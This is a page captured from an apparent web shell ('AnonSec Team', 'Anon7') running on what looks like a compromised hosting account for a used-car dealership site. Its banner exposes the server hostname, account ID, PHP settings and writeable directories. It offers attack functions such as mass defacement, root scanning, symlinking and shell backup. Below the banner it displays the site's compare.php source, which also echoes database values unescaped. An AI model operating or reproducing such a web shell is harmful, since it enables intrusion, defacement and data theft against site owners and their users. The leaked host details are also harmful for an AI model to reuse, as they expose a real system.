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/  Your IP : 216.73.216.219   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux in-mum-web1275.main-hosting.eu 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User : u215115003 ( 215115003)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u215115003/domains/luxurymotorz.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u215115003/domains/luxurymotorz.com/public_html/compare.php
<?php

session_start();

require_once ('config/config.inc.php');
include "include/header.inc.php"; 
$comparedProducts = [];

if (isset($_COOKIE['comparedProducts']) && !empty($_COOKIE['comparedProducts'])) {
    $comparedProducts = json_decode($_COOKIE['comparedProducts'], true);
}

// print_r($comparedProducts);

if (!empty($comparedProducts)) {
    $productDetails = [];

    foreach ($comparedProducts as $product_id) {
        $sql = "SELECT v.*, b.car_brand_name AS car_brand_name, b.car_brand_image as car_brand_image FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE v.car_varient_status = :status AND v.car_varient_id = :product_id";

        $product_st = $DB->prepare($sql);
        $product_st->bindValue(":status", 'Active');
        $product_st->bindValue(":product_id", $product_id);
        $product_st->execute();
        $varient_rs = $product_st->fetch(PDO::FETCH_ASSOC);

        if (!empty($varient_rs)) {
            $productDetails[$product_id] = $varient_rs;
        }
    }
    // if (empty($productDetails)) {
    //     unset($_COOKIE['comparedProducts']);
    //     setcookie('comparedProducts', '', time() - 3600, '/'); // Expire the cookie
    //     $_SESSION['comparison_list'] = [];
    // } else {
    $_SESSION['comparison_list'] = $productDetails;
    // }
}

$countOfCarsInComparison = count($_SESSION['comparison_list']);

$productDetails = [

    'Brand' => ['ucwords', ['car_brand_name']],

    'Price' => ['formatInr', ['discounted_price']],

    'Year' => [null, ['year']],

    'State' => ['ucwords', ['reg_state']],

    'Fuel' => ['ucwords', ['fuel_type']],

    'Transmission' => ['ucwords', ['gear_type']],

    'Owners' => [null, ['no_of_owners']], // No function, just display the value as is

    'Color' => ['ucwords', ['color']],

    'KM Driven' => [null, ['milage']], // No function, just display the value as is

    'Insurance' => ['ucwords', ['insurance']],

    'Highlights' => ['ucwords', ['highlights']]

];



?>

<link rel="stylesheet" href="<?= MAIN_DIR ?>assets/css/product.css">

<div class="inner-page-banner">

    <div class="banner-wrapper">

        <div class="container-fluid">

            <div class="banner-main-content-wrap">

            </div>

        </div>

    </div>

</div>

<div class="compare-page pt-100 mb-100">

    <div class="container">

        <?php if (empty($_SESSION['comparison_list'])): ?>

            <div class="error-page1">
                <div class="row">

                    <div class="col-lg-12">

                        <div class="error-wrapper">

                            <div class="error-content-area text-center">

                                <h3 class="p-3">No products available for comparison.</h3>

                                <div class="error-btn">

                                    <a class="primary-btn3" href="<?= MAIN_DIR ?>">Back To Home</a>

                                </div>

                            </div>

                        </div>

                    </div>

                </div>
            </div>

        <?php else: ?>

            <div class="d-flex justify-content-between mb-50">

                <div class="comparea-content">

                    <h1 class="text-white">Compare Your Vehicles</h1>

                </div>

            </div>

            <div class="row g-4 mb-50">

                <?php if ($countOfCarsInComparison < 3): ?>

                    <div class="col-lg-4" id="addToCompareButton"
                        style="<?php echo count($_SESSION['comparison_list']) >= 3 ? 'display: none;' : 'display: block;'; ?>">


                        <div class="product-upload-area text-center">

                            <a href="<?= MAIN_DIR ?>#car-section" class="upload-area">

                                <i class="bi bi-plus"></i>

                            </a>

                            <div class="comparea-content">

                                <h6>Add to Compare</h6>

                            </div>

                        </div>

                    </div>

                <?php endif; ?>

                <?php foreach ($_SESSION['comparison_list'] as $product_id => $product): ?>

                    <div class="col-lg-4">

                        <div class="product-card style-2 compare" id="productCard_<?php echo $product_id; ?>">

                            <div class="close-btn" onclick="deleteData(<?php echo $product_id; ?>)">
                                <i class="bi bi-x"></i>
                            </div>


                            <div class="product-img">

                                <img src="<?= MAIN_DIR ?>static/<?= $product['car_varient_image'] ?>" alt="image">

                            </div>

                            <div class="product-content">

                                <div class="content-top">

                                    <div class="price-and-title">

                                        <h5><a href="<?= MAIN_DIR ?>car-description/<?= $product['slug'] ?>"><?= $product['car_brand_name'] ?>

                                                <?= $product['car_model_name'] ?>

                                                <?= $product['car_varient_name'] ?></a></h5>

                                        <h4 class="price">

                                            <?= '₹' . formatInr($product['discounted_price']) ?>

                                        </h4>

                                    </div>

                                    <div class="company-logo">

                                        <img src="<?= MAIN_DIR ?>static/<?= $product['car_brand_image'] ?>" alt>

                                    </div>

                                </div>
                            </div>

                        </div>

                    </div>

                <?php endforeach; ?>

            </div>

            <div class="row">

                <div class="col-lg-12">

                    <div data-bs-spy="scroll" data-bs-target="#navbar-example2" data-bs-offset="0" class="scrollspy-example"
                        tabindex="0">

                        <div class="single-compare mb-50" id="car-info">

                            <div class="section-title mb-20">

                                <h5>Summary</h5>

                            </div>

                            <div class="table-wrapper">

                                <div class="table-responsive">
                                    <table class="eg-table compare-table">

                                        <thead>

                                            <tr>

                                                <th
                                                    style="<?php echo count($_SESSION['comparison_list']) > 2 ? 'width: 150px;' : ''; ?>">

                                                    Basic Info</th>

                                                <?php foreach ($_SESSION['comparison_list'] as $product): ?>

                                                    <th><?= $product['car_brand_name'] ?>

                                                        <?= $product['car_model_name'] ?>

                                                        <?= $product['car_varient_name'] ?>

                                                    </th>

                                                <?php endforeach; ?>

                                            </tr>

                                        </thead>

                                        <tbody>

                                            <?php foreach ($productDetails as $detailName => $functionAndParams): ?>

                                                <tr>

                                                    <td
                                                        style="<?php echo count($_SESSION['comparison_list']) > 2 ? 'width: 150px;' : ''; ?>">

                                                        <?= $detailName ?>

                                                    </td>

                                                    <?php foreach ($_SESSION['comparison_list'] as $product): ?>

                                                        <td>

                                                            <?php

                                                            $function = $functionAndParams[0];

                                                            $params = $functionAndParams[1];

                                                            $value = $product[$params[0]];



                                                            if ($function !== null) {

                                                                $value = call_user_func_array($function, array_map(function ($param) use ($product) {

                                                                    return isset($product[$param]) ? $product[$param] : $param;

                                                                }, $params));

                                                            }



                                                            echo $value;

                                                            ?>

                                                        </td>

                                                    <?php endforeach; ?>

                                                </tr>

                                            <?php endforeach; ?>



                                        </tbody>



                                    </table>
                                </div>
                            </div>

                        </div>

                    </div>

                </div>

            </div>

        <?php endif; ?>

    </div>

</div>

<?php include "include/footer.inc.php"; ?>
<script>
    // Function to get cookie
    function getCookie(name) {
        let nameEQ = name + "=";
        let ca = document.cookie.split(';');
        for (let i = 0; i < ca.length; i++) {
            let c = ca[i];
            while (c.charAt(0) === ' ') c = c.substring(1, c.length);
            if (c.indexOf(nameEQ) === 0) return decodeURIComponent(c.substring(nameEQ.length, c.length));
        }
        return null;
    }

    window.deleteData = function (productId) {
        // Send AJAX request to delete product
        fetch('<?= MAIN_DIR ?>delete_product/', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({ product_id: productId }),
        })
            .then(response => {
                if (!response.ok) {
                    throw new Error('Network response was not ok');
                }
                return response.json();
            })
            .then(data => {
                if (data.success) {
                    // Remove product card from the DOM
                    document.querySelector(`#productCard_${productId}`).remove();

                    // Remove product columns from the table
                    const table = document.querySelector('.compare-table');
                    const rows = table.querySelectorAll('tr');
                    rows.forEach(row => {
                        const cells = row.querySelectorAll('td, th');
                        cells.forEach((cell, index) => {
                            if (index > 0 && cell.textContent.trim() === productId.toString()) {
                                row.removeChild(cells[index]);
                            }
                        });
                    });

                    updateCompareButtonState1();
                    location.reload();
                } else {
                    console.error(data.message);
                }
            })
            .catch(error => {
                console.error('Error:', error);
            });
    }

    function updateCompareButtonState1() {
        const compareCountElement = document.getElementById('compare-count');
        const comparePageButton = document.getElementById('compare-page-button');

        // Get the current compared products from the cookie
        let comparedProducts = JSON.parse(getCookie('comparedProducts')) || [];

        // Update the compare count
        compareCountElement.textContent = comparedProducts.length;

        // Enable or disable the compare button based on the number of products in the compare list
        if (comparedProducts.length >= 2) {
            comparePageButton.parentElement.setAttribute('href', '<?= MAIN_DIR ?>compare/');
            comparePageButton.removeAttribute('disabled');
        } else {
            comparePageButton.parentElement.removeAttribute('href');
            comparePageButton.setAttribute('disabled', 'disabled');
        }
    }

    document.addEventListener("DOMContentLoaded", () => {
        updateCompareButtonState1();
    });
</script>

Anon7 - 2022
AnonSec Team